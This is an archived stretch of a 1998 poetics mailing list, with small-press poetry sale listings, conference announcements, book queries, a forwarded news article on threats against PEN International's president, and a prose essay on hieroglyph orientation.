____ Peter Glassgold. BOETHIUS: THE POEM ON THE CONSOLATION OF PHILOSOPHY. (paper, list price $10.95) Surely one of the most ususual books of poetry ever written, Glassgold's BOETHIUS is like no other work in English, a translation out of the Latin into diverse historical Englishings, this work is a kind of "patascholarship" similar to Glassgold's HWAET!, which translated modern and contemporary poetry back into Old English. Here he has overlaid various Old, Middle, and Modern English translations of the great Latin classic, creating a sort of sound-collage to the many trans- lations and the influence of Boethius on English.

[to be continued]

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145. **Douglas**
S&M Sale/Page 3
Mon 7 Sep 1998

THE SUN & MOON PRESS CAMPAIGN TO FREE ITS POETRY BOOKS

-continued- No. 3

Remember all books are $4.00 plus $1.25 each for shipping.
Send orders to: Sun & Moon Press, 6026 Wilshire Blvd.,
Los Angeles, CA 90036

____Charles Bernstein. ROUGH TRADES (paper, list $10.95) Charles Bern- stein is, simply put, one of the most influential and widely-read poets of our age. One of the true masters of irony in poetry, Bernstein manages to also infuse each poem with an affirmative vision which verges on the utopian. Containing famed poems such as "On Time and the Line," "The Kiwi Bird in the Kiwi Tree," "Fear of Flipping," and "Blow- Me-Down Etude," ROUGH TRADES is, as THE AMERICAN BOOK REVIEW proclaimed "an exhilarating and liberating work."

____André du Bouche. WHERE HEAT LOOMS (paper, list price $12.95) One of the last of the great modern French poets, du Bouchet's work remains largely untranslated, except for a small edition of poems by Paul Auster, and

now, this brilliant new translation by British poet David Mus. An investigation of light and all that is associated with it--fire, white, wind, sky, air, sun, flame--WHERE HEAT LOOMS is a stunning lyrical collection of international importance.

____David Bromige. THE HARBORMASTER OF HONG KONG (paper, list price $10.95) Bromige's more than 25 books have brought him international recognition and awards, including the Watern States Book Award in 1988. THE HARBORMASTER is one of his wittiest and most profound books, a celebration of language in its personal, social, political relations. "Dear / me, an appointment on the far / insists, and in these fists / flower all the meals who / walked us to this well."

____Michael Coffey. ELEMENOPY (paper, list price $10.95) LIBRARY JOURNAL wrote "[Coffee] is a kind of Dadaist or 'dropster punster,' as he calls himself, delighting in all sorts of verbal pyrotechnics, always favoring the 'word over reason,' ...[This work is] replete with puzzles and pleasures." These poems' "energy is invigorating: if the possibilities for forms and kinds of re- lationships in language are endless, then so are our own," wrote PUBLISHERS WEEKLY.

____Norma Cole. MY BIRD BOOK [Littoral Books] (paper, list price $9.95) Published by Littoral Books of Los Angeles, which Sun & Moon Press distributes, MY BIRD BOOK represents Cole's charting of a world where nature and artifice intermingle. "Parabola leads to fable, country as theater, history as scent," "Once we might have sworn we'd met these words before," notes Michael Palmer. "This extra- ordinary gathering proves otherwise."

____Clark Coolidge. THE CRYSTAL TEXT (paper, list price $11.95) Reviewing this book upon its original publication, Bernadette Mayer wrote: "In a world where people are perforce cut off from the mystical cosmic and sublime aesthetic every day, the works Clark Coolidge...provide for us the beauty of some of the intersitial stuff that might weave a perception to change the world back together." One of the most influential of American poets, Collidge is well known for this collection and the numerous others which have helped to change the face of American poetics.

____Charles O. Hartman and Hugh Kenner. SENTENCES (paper, list price $9.95) The child of the playfully perverse marriage of a 19th century grammar school book and a contemporary computer technology, SENTENCES is a surprising lyrical romp. The noted literary scholar and poet Charles O. Hartmann discovered a book titled SENTENCES FOR ANALYSIS AND PARSING, which was used at the Thayer Street Grammar School in Providence, R.I. Hartmann took this book to legendary critic Hugh Kenner, and together they ran it through the TRAVESTY computer program developed by Kenner and

Joseph O'Rourke. They ran that result through the DIASTEXT program, based on the "diastic" writings of poet Jackson Mac Low. The result is the wonderfully eccentric book, an inspired collaboration between technology and human literacy.

____Fanny Howe. THE LIVES OF A SPIRIT (cloth, list price 10.95) Composed in what the author describes as "a state of waiting-for-God," a state in which the mind is passavid and yet alert, in which everything matters, and there is no escape-- THE LIVES OF THE SPIRIT is a book of expectation, a kind of contemporary gospel. This book is central to the writings of the major poet and fiction writer, Fanny Howe.

____Benjmain Hollander. THE BOOK OF WHO ARE WAS (paper, list price $10.95) San Francisco poet Benjamin Hollander explores, through a negotiation with poets of the past and present such as Paul Celan, Edmond Jabes, and Anne-Marie Albiach, how to "project memory on stage." Recognizing poetry as a theatrical field, a perfomance so to speak, THE BOOK OF WHO ARE WAS contemplates the process of poetic creation in which it is actually the reader's or spectator's memory that is projected upon the stage or text. As Jordan Davis observed in THE BOSTON BOOK REVIEW: "What is striking in his [Hollander's] poetry is his gift for associated concepts the way other poets associate words. ...Hollander is most himself when he writes others words."

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146. **Don Byrd**

Poetics of the Common Knowledge

Mon 7 Sep 1998

I feel a little like I have been reading other people's mail, but I appreciate all of the kind things that have been said about _The Poetics of the Common Knowledge_.

There is a structure. Three androgynes--called Symbolic Nature (Descartes), Symbolic History (Hegel), and Symbol Person (Freud)--the second, in some sense being already the product of the interaction between the first and third-- hop into bed and mother-father twins--together called Symbolic Symbols (information theory), one called the Statistical and the other called the Non-statistical.The Statistical is the reality that Neilsen and Gallop track (the only public reality that is widely recognized; the Non-statistical is the realm of poetry. (There is a sub-version of each chapter that addresses a poet, Duncan, Stein, Zukofsky, and Olson respectively).

The non-statistical is non-exemplary. The instance cannot be used to read a group. It holds to the earth not by manifesting nature, history, person, or

symbols (language), but by what Anthony Braxton calls in connection with his music "gravitational intrique." I wish I'd had that term when I was writing the book.

Again thanks. It is always gratifying to be read. A reader that will stick with a book as long and turgid as PCK is to be doubly appreciated. (By the way, for any prospective readers, there is a little comic relief about half way in, a chapter in which I compare Wallace Stevens and Jackie Gleason--Ralph Kramden).

Don

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147. R.Gancie/C.Parcelli
The Poetics of the Common Knowledge
Mon 7 Sep 1998

Even if you've read Don Byrd's book it helps to have read some of the myriad of core texts that Byrd uses. Much of the books appeal for me was the fact that many of the books that Byrd brings to bear in his exegesis were works that I had read especially in the sciences and philosophy. I found the overlap startling and this meager sampling nonetheless reinforced in my mind the sense that Byrd had indeed tapped "the Common Knowledge."---Carlo Parcelli

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148. acgold01
20C. Literature Conference
Mon 7 Sep 1998

Since this annual conference at the U of Louisville has been mentioned on the list a couple of times recently, it seems the right moment for me to post my annual invitation to send stuff. All the information you need (deadlines, etc.) is on the conference website:www.edu/a-s/cml/xxconf/call99.html

We have a creative and a critical keynote (forgive the eminently deconstructible shorthand terms here!) every year, usually one or two "special guests," plus a full program of critical panels and poetry / fiction readings. Robert Creeley is this year's creative keynote; we're working on Donna Haraway for the critical. I don't direct the conference but I am heavily involved at the level of getting speakers, reading proposals, compiling panels, etc. What this means in practice is that it's been a fairly Poetics-list-friendly event in past years, and a lot of list-folks have come. I read critical proposals (read blind); you might as well know in advance that creative submissions go to a rather more conservative group of

readers who operate by pretty "mainstream" criteria (just so's you don't get your hopes too high).

Deadline (slightly flexible) for submissions is Oct. 1, and the conference takes place the last weekend in February.

Elsewise: like Herb Levy, I'll be in NYC end of Sept. (Sat. 9/26, actually) and would also like to hear of any goings-on there. Thanks.

Alan

↑ Index

149. Pierre Joris
FW: PEN Intl President Threatened
Mon 7 Sep 1998

Thot this wld be of interest. -- Pierre
==========
Pierre Joris
[redacted]
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
It is an absent America whose
presence is at stake
‹ Robin Blaser
==========

>From: Lucy Komisar <[redacted]>
>To: PEN Listserv <[redacted]>
>Subject: PEN Intl President Threatened
>Date: Mon, Sep 7, 1998, 1:43 PM
>

> *The PEN May Be Mighty, but in Mexico It Gets Bodyguards*
>
> *By Molly Moore*
> *Washington Post Foreign Service*
> *Monday, September 7, 1998; Page A17*
>
> *MEXICO CITY-For nine months, Homero Aridjis, a Mexican poet and international spokesman for freedom of expression, has not stepped out*

of his house without the bodyguards that shadow him everywhere: to poetry readings, to lunch with friends, even to walk his German shepherd.

Now, the telephone warnings that prompted the Mexican government to assign guards to the president of PEN International -- a global writers' organization -- have escalated with new and more chilling death threats that reflect a pattern of increasing violence against Mexican writers and journalists.

"Despite the enormous political opening in the last two years, it is still extremely dangerous to be a journalist in Mexico," said Jorge Zepeda, president of the Society of Journalists, one of two new Mexican watchdog organizations recently created to assist journalists and publicize attacks against them.

Many journalists argue that it is the growing independence and power of the Mexican media -- fed partially by reforms in Mexico's longtime one-party political system -- that has provoked the surge in attacks and threats against journalists and photographers in the past two years. Once largely pawns of the government, many newspapers and magazines are professionalizing their staffs and pursuing aggressive investigations of drug cartels and official corruption.

In the last 16 months, four journalists have been killed in Mexico in job-related slayings. Scores have been physically attacked, threatened or intimidated, making the period one of the most violent for journalists here in a decade, according to the New York-based Committee to Protect Journalists. In 1997, threats against journalists were up 55 percent over the previous year with 187 assaults, threats and acts of intimidation, Mexico's Network for the Protection of Journalists reported.

The attacks have been waged by drug cartels, corrupt law enforcement officials and old-style political bosses, according to Zepeda, who said his organization is attempting to "convince Mexican society that an attack against a journalist is an attack against the whole society and its right to be well-informed."

Many of the attacks appear to have been related to the journalists' aggressive reporting. Benjamin Flores Gonzalez, editor of the newspaper La Prensa in San Luis Rio Colorado, a town on the border with the United States, was gunned down and died on the front steps of his office last July, the target of drug traffickers angered by his unflinching coverage. A Mexico City journalist was murdered last year and five others abducted, reportedly by police who resented their coverage of corruption.

Mexican authorities have made few arrests in such cases. The telephone threats received by Aridjis -- one of Mexico's best-known writers and a frequent government critic -- have been particularly troubling to journalistic organizations because of his high-profile position as president of PEN International, the prestigious London-based organization of poets, novelists and other writers.

"Homero Aridjis becomes a lightning rod because of his visibility," said Joel Simon of the Committee to Protect Journalists.

"We suspect that whoever is behind these calls is trying to inhibit Mr. Aridjis' activities as a writer, International PEN president, and an editorial page columnist," the New York-based PEN American Center wrote in a letter to Mexican President Ernesto Zedillo last week. "This latest death threat forms part of a disturbing pattern; previous threatening phone calls also occurred within weeks of a public appearance by or press interview with Mr. Aridjis regarding human rights in Mexico and contemporary dangers faced by writers."

Aridjis, 58, said he doesn't know who is behind the threats. The first was left on his answering machine at his Mexico City home within hours of a telephone interview with a Washington Post reporter in which he discussed a series of grisly kidnappings in the Mexican capital by a gang that sliced an ear off its victim and sent it to the victim's family as proof of the abduction. The telephone call was made last November from The Post's Mexico City bureau to New York City, where Aridjis was visiting relatives.

The next morning a voice on his answering machine warned, "Soon you will die like dogs. . . . I'm going to cut your ears off." Aridjis said he assumes that Mexican authorities eavesdropped on the conversation and that the information then somehow found its way to the kidnappers or their associates.

When asked if Mexican government agencies routinely tap journalists' telephones, one administration official replied, "It wouldn't surprise me if the telephones of some journalists were sometimes tapped."

Mexican authorities were concerned enough by the threat that they dispatched three bodyguards to the airport to meet Aridjis when he returned here.

Just after midnight on Aug. 17, Aridjis received another message threatening him as well as his two adult daughters, who were visiting from the United States. "You'll be sorry. . . . You're going to die very soon," the caller said.

"This kind of intimidation creates a climate of uncertainty, a culture

> *of fear," Aridjis said. "These threats go against freedom of expression in Mexico."*
>
> *He described the threats as a "psychological intimidation" that is affecting his writing, as well as his everyday activities. "Our life has changed," he said. "Everyone looks like a suspicious person."*
>
> *The PEN American Center and the Committee to Protect Journalists noted that Aridjis had recently spoken out about lack of respect for freedom of expression in Mexico at an Ottawa conference on "The Artist and Human Rights."*
>
> *"We are quite worried and taking these threats seriously," said a spokesman for Zedillo. "We will try to do as much as possible to help."*
>
> *© Copyright 1998 The Washington Post Company*

↑ Index

150. **P.Standard Schaefer**

Re: Innovation and Experimentation in Contemporary American Poetry

Mon 7 Sep 1998

Randy:

That would be a very interesting conference. I fear that I'll be working way too much at that time to get away, sadly.

Let me know how it works out for your trip here.

SS

↑ Index

151. **Harriet Zinnes**

Re: 20C. Literature Conference

Mon 7 Sep 1998

---

7 September l998

Dear Alan

SEveral years ago I was an invited guest at your conference to read either my poems or my translations from the French of Prevert (probably both) but I wonder whether your staff may be interested in my reading from my new collection of fiction (out late September) called The Radiant ABsurdity of Desire. It was

just reviewed wonderfully in Publishers Weekly (August l7, l998) and has exceptional blurbs on its back cover from the English critic (and senior editor of the New Republic) James Wood as well as from Alan Sillitoe and the trranslator and theater director Barbara Bray.

If you are not the person for the creative reader selection, please be kind enough to show this letter to the proper person. And good luck to you!

Sincerely

Harriet Zinnes

[redacted]

↑ Index

152. William Marsh
Re: Depressed yet?
Mon 7 Sep 1998

---

free computer and Internet account would ease my depression a great deal / and i'd finally be able to buy some new clothes

"The Carnegie Mellon study is part of HomeNet, a $1.5
million project in
which 93 Pittsburgh families were given free computers
and Internet
accounts."

- -
William Marsh | PaperBrainPress
http://bmarsh.dtai.com
- -

↑ Index

153. MAYHEW
Re: Depressed yet?
Mon 7 Sep 1998

There is an article debunking this study in salon magazine (www.salonmagazine.com). It makes some of the obvious critiques that might have already occured to most of us webizens. It appears to be a classic "before and after" study: have some people fill out questionnaires, give them computers and access to the web, and then give them the same survey after a predetermined time. The results were not even that significant statistically speaking. Also, there was apparently no control group. (e.g. give another group free

Faulkner novels or Silliman poems, or force them to listen to Talk of the Nation every day, or any number of other activities; THEN compare.)

Or else simply give a control group the same questionnaire after two months, after having done nothing in particular. Maybe some portion of the population will get depressed anyway because of some other factor (cloudy Pittsburgh weather, vicissitudes of the Steelers or Pirates, etc...). It wouldn't have to be a very significant portion to match the result of this badly flawed study.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

154. Henry Gould
generic backchannel
Mon 7 Sep 1998

To whom it may concern: thanks for reading my poems. In response to your invitation, I would like to attend, please send $$$. George, are you still there in Biffalong? Yes, send me 3 copies - I will gladly pay you Tuesday. Hi, Jennifer!! Hey Bill, where IS that shuffleboard you mentioned on the list? - your buddy, Blank

↑ Index

155. Peter Ganick
crosses project for indigenous peoples
Mon 7 Sep 1998

*this was forwarded from denmark...posted to this list
by encouraged permission...

*write hans for more information, if wanted...

peter ganick

_____invitation_____
ORIGIN PROJECT:
after 500 years of genocide and colonialism in 1992 now we are starting
the third millennium with
+ + + +

CROSSES FROM THE WORLD - - - -Homage To Indigenous Peoples
+ + + +

>by encouraged permission...
>
>*write hans for more information, if wanted...
>
>peter ganick
>
>
>_____invitation_____
>ORIGIN PROJECT:
>after 500 years of genocide and colonialism in 1992 now we are starting
>the third millennium with
>+ + + +

>
>

↑ Index

157. **Simon DeDeo**
Re: 20C. Literature Conference
Mon 7 Sep 1998

Harriet --

Would the Alan Sillitoe be the same as wrote "Loneliness of the Long Distance Runner", and who along with Philip Larkin and Seamus Heaney populated my young, impressionable years? (You only need answer the first prt of that question.) I always had a horrible suspicion that he had rung up the curtain and joined the choir invisible, along with beloved Larkin, and, living in the States now, I've had trouble coming by evidence to the contrary. From your comment, it appears he is still reading. Is he still writing?

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html
[redacted]

On Mon, 7 Sep 1998, Harriet Zinnes wrote:

> *7 September l998*
>
> *Dear Alan*
>
> *SEveral years ago I was an invited guest at your conference to read either my poems or my translations from the French of Prevert (probably both) but I wonder whether your staff may be interested in my reading from my new collection of fiction (out late September) called The Radiant ABsurdity of Desire. It was just reviewed wonderfully in Publishers Weekly (August l7, l998) and has exceptional blurbs on its back cover from the English critic (and senior editor of the New Republic) James Wood as well as from Alan Sillitoe and the trranslator and theater director Barbara Bray.*
>
> *If you are not the person for the creative reader selection, please be kind enough to show this letter to the proper person. And good luck to you!*
>
> *Sincerely*
>
> *Harriet Zinnes*
>
> [redacted]

↑ Index

158. Tom Orange
papers for 20th-century literature conference (fwd)
Tue 8 Sep 1998

> *Date: Fri, 4 Sep 1998 18:14:07 -0700*
> *From: Stephen Cope <[redacted]>*
>
> *I've always heard great things about this conference (annual or semi-annual, I think). I always thought it was Alan Golding who ran it, but perhaps things have changed. It sounds like an intersting topic, and complimentary to the conference here at San Diego that's taking place this coming March. (More on this later).*

it's annual -- every february. alan doesn't "run" it per se but is on the organizing committee and therefore accepts papers, gets excellent poets to read there (haryette mullen last year), and hosts smashing good parties.

t.

↑ Index

159. A. Jenn Sondheim
Slipping Through the Cracks (Orientation)
Tue 8 Sep 1998

-

Slipping Through the Cracks

Orientation from Herodotus II, 36: "When they write or calculate, instead of going, like the Greeks, from left to right, they move their hand from right to left; and they insist, notwithstanding, that it is they who go to the right and the Greeks who go to the left."

Quotes from Henry George Fischer, The Orientation of Hieroglyphs, Part I. Reversals, Egyptian Studies II, The Metropolitan Museum of Art:

Of Nefertiti: "Even in the Karnak scenes where she alone worships the Aten her name is invariably preceded by a reference to Akhenatan in her title [fig.] 'great wife of the king, whom he loves.' And much more frequently, her cartouche follows two of his, which are in turn confronted by the names of Aten [...]. Thus the reversal in her cartouche may indicate that her husband is the source of her contact with the god. There is, in this relationship, something of the Miltonian concept: 'Hee for God only, shee for God in him,' although they shared 'Thir Orisons, each Morning duly paid.'"

"As shown by his gesture of invocation, the king himself pronounces the offering formula in front of him, all of which is oriented as he is, ex- cept for the name of the divine recipient."

"Quite possibly, in view of the adjacent juxtaposition displayed by the adjacent caption, 'singing to the harp,' the missing object of the prepo- sition was thought to be supplied by the opposed representation of danc- ing, with the figures facing left."

"Among the repertory of hieroglyphs in common use, as represented in Gardiner's Sign List, there are a few exceptions to the usual orientation - exceptions, moreover, for which no explanation has been offered. The most perplexing of these are the inverted staff, the sail that is blown backwards, the reversed boat [...]." [hieroglyphs and references omitted]

What are signs, that they may be stayed upon the head, faced within the mirror, transformed from outside-in, absolved from inside-out? What is the materiality of the sign so lost and constituted in these forms, where < and > are not oppositions but independent, assigned different and variant encodings? One might reference calligraphy in general, the running style of kanji, and see Jan Assmann's Ancient Egypt and the Materiality of the Sign, in Materialities of Communication (eds. Hans Ulrich Gumbrecht and K. Ludwig Pfeiffer).

[I come towards you. I approach you. I leave by the moon. I go from the cave. The world goes with me. Your sight bedazzles me. How can I return when your sight is imprinted on mine, eye to eye?]

What is the history of the sign and token, from Sumerian tabulations and clay impresses - through the pressure of edged reeds, rock incisions, brush and pen-strokes? I've spoken repeatedly about these elements; one might also consider a _wavering hieroglyphic_ in which each and every sign might face one or another direction, in relation to portent, to the divin- atio at work as the superstructure breaks loose from the world, recuper- ates the word as construct of the gods.

"In two Old Kingdom tomb chapels, where the owner of a tomb addresses members of his family in order to give them testamentary instructions, the orientation of his statement is reversed, along with the words that intro- duce the statement."

Perhaps you break through the lines; I _must_ face you, regardless of the consequences, regarding your mien, in due regard for your truth in its place, breaking down the symbolic, transforming it into a certain surplus.

I have no regard for the orientation. I'm always facing you in my dreams. Making love face to face. Watching. Looking.

Being observed.

"Instead of turning an entire statement around, together with the words introducing it, the scribes of the Old Kingdom sometimes applied the re- versal solely to the introductory word [...] 'he says,' following the speaker's titles and name, in order to point up the fact that the following words were a direct quotation."

Perhaps I dream your breath, hear your voice coming from the left or right or within me, an insistence toppling even the vacuity of avatars, returning your flesh across the queendoms of distributed networks. You speak so softly, I bend towards you, my ear against your belly. What is heard in the smooth convexity of spheres, planets, earths.

"Old Kingdom lists of offerings (from Dynasty III onward) are very common- ly turned so that the hieroglyphs address the person for whom they are intended."

"Here the reversal may have been intended to stress the roundabout orientation of a river that flows south instead of north, as the Nile does."

"Writings of _`kprt_ 'entering and coming forth.'"

Conceivably I do not know whether I am coming or going, towards or away from you; my hand trembles, the brush goes every whichaway across the parchment, the signs _spill._ Perhaps I enter you, come forth through a portal whose destination remains unknown; I am faced left, right, or in- verted, I lose my way, Virgil nowhere to be found.

"The first two dynasties provide evidence for all three of the basic situ- ations requiring reversals - confrontation, symmetry, and concordance - including several uses of hieroglyphic confrontations that are frequent in later periods, notably the opposition of various elements of the royal protocol and the opposition of the names of a divinity and of a king."

Facing you, I face myself; joining you, I join myself; becoming you, I no longer separate such residues, things, stains and processes. Language wrapping allowing all entering. Direction from the sphere.

↑ Index

160. david bromige
Re infinite jest but not really
Tue 8 Sep 1998

Ron, now time enough has passed for us-all to introduce to ourselves meanings from your books, isn't it time for the Footnoted Ketjak and Tjanting? From U.C.

Press, or leastways some place they have lots of paper and ink? You could use footnotes from everyone's suggestions, or supply them all yourself. I would read this volume before I read F's Wake again. Hands up all who feel likewise. David

↑ Index

161. david bromige
re generic backchannel
Tue 8 Sep 1998

Way to go, Henry! Brevity is still the soul of wit, and good wit should hurt a bit. May I suggest a postscript: Oops! David

↑ Index

162. Daniel Zimmerman
Re: Slipping Through the Cracks (Orientation)
Tue 8 Sep 1998

A. Jenn Sondheim wrote:
>
> -
>
> Slipping Through the Cracks
>
> Orientation from Herodotus II, 36: "When they write or calculate, instead
> of going, like the Greeks, from left to right, they move their hand from
> right to left; and they insist, notwithstanding, that it is they who go to
> the right and the Greeks who go to the left."
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> Quotes from Henry George Fischer, The Orientation of Hieroglyphs, Part I.
> Reversals, Egyptian Studies II, The Metropolitan Museum of Art:
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> Of Nefertiti: "Even in the Karnak scenes where she alone worships the Aten
> her name is invariably preceded by a reference to Akhenatan in her title
> [fig.] 'great wife of the king, whom he loves.' And much more frequently,
> her cartouche follows two of his, which are in turn confronted by the
> names of Aten [...]. Thus the reversal in her cartouche may indicate that
> her husband is the source of her contact with the god. There is, in this
> relationship, something of the Miltonian concept: 'Hee for God only, shee
> for God in him,' although they shared 'Thir Orisons, each Morning duly
> paid.'"
>
> "As shown by his gesture of invocation, the king himself pronounces the

> offering formula in front of him, all of which is oriented as he is, ex-
> cept for the name of the divine recipient."
>
> "Quite possibly, in view of the adjacent juxtaposition displayed by the
> adjacent caption, 'singing to the harp,' the missing object of the prepo-
> sition was thought to be supplied by the opposed representation of danc-
> ing, with the figures facing left."
>
> "Among the repertory of hieroglyphs in common use, as represented in
> Gardiner's Sign List, there are a few exceptions to the usual orientation
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> most perplexing of these are the inverted staff, the sail that is blown
> backwards, the reversed boat [...]." [hieroglyphs and references omitted]
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> mirror, transformed from outside-in, absolved from inside-out? What is the
> materiality of the sign so lost and constituted in these forms, where <
> and > are not oppositions but independent, assigned different and variant
> encodings? One might reference calligraphy in general, the running style
> of kanji, and see Jan Assmann's Ancient Egypt and the Materiality of the
> Sign, in Materialities of Communication (eds. Hans Ulrich Gumbrecht and K.
> Ludwig Pfeiffer).
>
> [I come towards you. I approach you. I leave by the moon. I go from the
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> when your sight is imprinted on mine, eye to eye?]
>
> What is the history of the sign and token, from Sumerian tabulations and
> clay impresses - through the pressure of edged reeds, rock incisions,
> brush and penstrokes? I've spoken repeatedly about these elements; one
> might also consider a _wavering hieroglyphic_ in which each and every sign
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> atio at work as the superstructure breaks loose from the world, recuper-
> ates the word as construct of the gods.
>
> "In two Old Kingdom tomb chapels, where the owner of a tomb addresses
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> bers of his family in order to give them testamentary instructions, the
> orientation of his statement is reversed, along with the words that intro-
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> consequences, regarding your mien, in due regard for your truth in its
> place, breaking down the symbolic, transforming it into a certain surplus.
>
> I have no regard for the orientation. I'm always facing you in my dreams.
> Making love face to face. Watching. Looking.
>
> Being observed.
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> "Instead of turning an entire statement around, together with the words
> introducing it, the scribes of the Old Kingdom sometimes applied the re-
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> following words were a direct quotation."
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> right or within me, an insistence toppling even the vacuity of avatars,
> returning your flesh across the queendoms of distributed networks. You
> speak so softly, I bend towards you, my ear against your belly. What is
> heard in the smooth convexity of spheres, planets, earths.
>
> "Old Kingdom lists of offerings (from Dynasty III onward) are very common-
> ly turned so that the hieroglyphs address the person for whom they are in-
> tended."
>
> "Here the reversal may have been intended to stress the roundabout orien-
> tation of a river that flows south instead of north, as the Nile does."
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> "Writings of _`kprt_ 'entering and coming forth.'"
>
> Conceivably I do not know whether I am coming or going, towards or away
> from you; my hand trembles, the brush goes every whichaway across the
> parchment, the signs _spill._ Perhaps I enter you, come forth through a
> portal whose destination remains unknown; I am faced left, right, or in-
> verted, I lose my way, Virgil nowhere to be found.
>
> "The first two dynasties provide evidence for all three of the basic situ-
> ations requiring reversals - confrontation, symmetry, and concordance -
> including several uses of hieroglyphic confrontations that are frequent in
> later periods, notably the opposition of various elements of the royal
> protocol and the opposition of the names of a divinity and of a king."
>
> Facing you, I face myself; joining you, I join myself; becoming you, I no

> longer separate such residues, things, stains and processes. Language
> wrapping allowing all entering. Direction from the sphere.
>
> _____

Interesting post, Alan. Do you know R. A. Schwaller de Lubicz's _The Temple in Man_? It mentions a 'transparency' inscription on opposite sides of the same stone in the wall between two rooms at Luxor:

"The wall's characteristic of _transparency_, placing the hieroglyph for cloths of room 12 in the symbol for 'box of cloths' represented in room 5, would suffice to establish a relationship between the symbols for cloths and the olfactory bulb. To this is added the characteristic of what weaving represents as a symbol--that is to say, the _interlacing of threads_, just as the nerves are interlaced so as to make perceptible the contacts of the individual with the environment. Thus, we frequently find the symbol for cloths in these three secret sanctuaries. Figure 42 shows clearly what I am suggesting here. The olfactory bulb, with the olfactory tract splitting in two, constitutes an organ whose image is identical to the symbol for cloths...." (103).

The approach to the temples of Egypt as detailed mappings of human anatomy recalls the Eassons' discussion of Blake's _Milton_ as modeled on the physiology of the optical system.

Dan Zimmerman

↑ Index

163. Ron Silliman
Book Jackets as WWW model
Tue 8 Sep 1998

I found this article from First Monday, a Danish site for computer/society sorts of stuff, to be worth reading. It made me think about all the book jackets I've had in a new light.

www.firstmonday.dk/issues/issue3_9/oconner/

Ron

[redacted]

Do NOT respond to the [redacted] address.
It is for listservs only.

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

164. **Douglas**
Sales books/4 Sun & Moon Press
Tue 8 Sep 1998

Sun & Moon sale page 4
Order from Sun & Moon Press
6026 Wilshire Boulevard
Los Angeles, CA 90036
[redacted]

Remember, all books are just $4.00 plus $1.25 each
shipping.

____Ted Greenwald. WORLD OF MOUTH (paper, list price $8.95) Ted Greenwald is a major American poet, straddling influences from both the New York School Poetry and "Language" writing. This is one Greenwald's most important collections. As Bruce Andrews wrote of it, upon its original publication. "This is language, direct."

____Dennis Phillips. ARENA (paper, list price $10.95) Phillips' third book of poetry places the reader in the recognizable terrain of the West -- both the West of the once-dominant mythos of European tradition and the final diffusion of that mythos at the edge of the North American continent. In this "arena" civilization battles itself: "The ocean is rough in a spot / where tractors and earthmovers / herd strings of men. / It is a foreign country. / They build or destroy the street."

____Douglas Messerli. MAXIMS FROM MY MOTHER'S MILK/HYMNS TO HIM Through the two matched sequences of poets of this, Messerli's fourth book of poetry, the author probes the dialogue between male and female, wife and husband, mother and father, the masculine and feminine psyches of his own being.

____Gil Ott. THE YELLOW FLOOR: POEMS 1978-1983 (paper, list price 6.95) Beautiful lyrics that mix song and sentiment in fresh ways by Philadelphia poet Ott. "held at my / perimeter / that is the force of my / desire / sun / weaving of branches / the larger body / that is."

____Tom Mandel. LETTERS OF THE LAW (paper, list price $10.95) Tom Mandel focuses on the notion of "law" in both the spiritual and social senses. Mixing religious fables and folktales, personal lyrics, social commentary, and songs of sorrow and joy, Mandel interweaves the laws that encompass each one of us in our searches for meaning in our lives.

____Clarence Major. SOME OBSERVATIONS OF A STRANGER AT ZUNI IN THE LATTER PART OF THE CENTURY (paper, list price $9.95) These poems by poet and novelist Clarence Major, were inspired by his time with the Zuni

Indians and by the memories of stories told by his grandparents of the Indians of his own ancentry.

____Nick Piombino. POEMS (paper, list price $8.95) The 31 poems of this collection demonstrate Piombino's commitment to and his experience with a language that maps a path of the speaker's "person need to articulate his perceptions." Piombino's language, in the context of his poetics, acts as "prognostication, presage, sign."

____Tom Raworth. ETERNAL SECTIONS (paper, list price $9.95) One of British poet Raworth's most important collections, the writing of this book is at once narratively based and is radically disjunctive, a writing that at every moment seems to be pushing away from the line previous but suddenly snaps back into a logical whole and transforms the meaning and the reader's experience.

____Martha Ronk. STATE OF MIND (paper, list price $10.95) The poets of STATE OF MIND are in transit from one state of mind to another as geographies (especially Californian) slide into states of mind, statements of "fact" into memory or metaphor. A brilliant work from an excellent poet.

More to come later today.

↑ Index

165. Ramez Ejaz Qureshi
queries
Tue 8 Sep 1998

Queries:
1.I'm looking for Kristeva's essay entitled "The Poet and the Sun." Could someone inform me where i can find it?
2. I understand Rothenberg has an essay on Bloom. Does anyone know where it is
located?
3.I'm not sure about this, but i heard Rothenberg is giving a reading in NYC soon. Is this true? If so, where & when?
4.Does anyone know the publication plans for Mina Loy's long poem (don't know
the title)?

Much appreciated,
RQ

↑ Index

166. Randy Prunty
Re: queries(Kristeva)
Tue 8 Sep 1998

Here are a couple of possibilities for "Poet and the Sun". there's a brief chapter in Tales of Love (1983, 1987 in English) titled "Bataille and the Sun, or the Guilty Text".
Or maybe you're thinking about her book Black Sun? Or maybe I'm missing the boat and someone else will clue us in.
Randy
backchannel if either of these are what you are looking for and you want more details

↑ Index

167. Pierre Joris
Re: queries
Tue 8 Sep 1998

Ramez Ejaz Qureshi asked:

> *2. I understand Rothenberg has an essay on Bloom. Does anyone know where it is located?*

it's called "The Critic as Exterminating Angel" and was published in SULFUR #2, in 1981.

> *3.I'm not sure about this, but i heard Rothenberg is giving a reading in NYC soon. Is this true? If so, where & when?*

Not sure where -- Poetry Project, most likely.

On Tuesday 15 September there will be a reading around the 2nd volume of POEMS FOR THE MILLENNIUM at 7:30 p.m. at the Astor Place Barnes & Noble, with Rothenberg, myself, Bernstein, Andrews, Tarn, Vicuña, Weinberger & others. Will post more info later in the week.

Pierre

==========
Pierre Joris
[redacted]
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
It is an absent America whose

presence is at stake
‹ Robin Blaser
==========

↑ Index

168. Douglas Barbour

Re: Innovation and Experimentation in Contemporary American Poetry

Tue 8 Sep 1998

Interesting:

<<We particularly invite papers on poets such as, Rae Armantrout, Lucy Brock-Broido, Anne Carson, Lynn Emanuel, Elaine Equi, Jorie Graham, Barbara Guest, Lyn Hejinian, Brenda Hillman, Susan Howe, Ann Lauterbach, Bernadette Meyer, Jane Miller, Tracie Morris, Harryette Mullen, Alice Notely, Susan Wheeler and others.>>

Anne Carson, because published in the US is an "American" poet, but there's no mention of Daphne Marlatt, Lisa Robertson, so many others. So it goes, especially for Canadian poets published only by small Canadian presses, I guess...

Douglas Barbour (h) [403] 4363320 (b) [403]
[redacted]
Department of English
University of Alberta
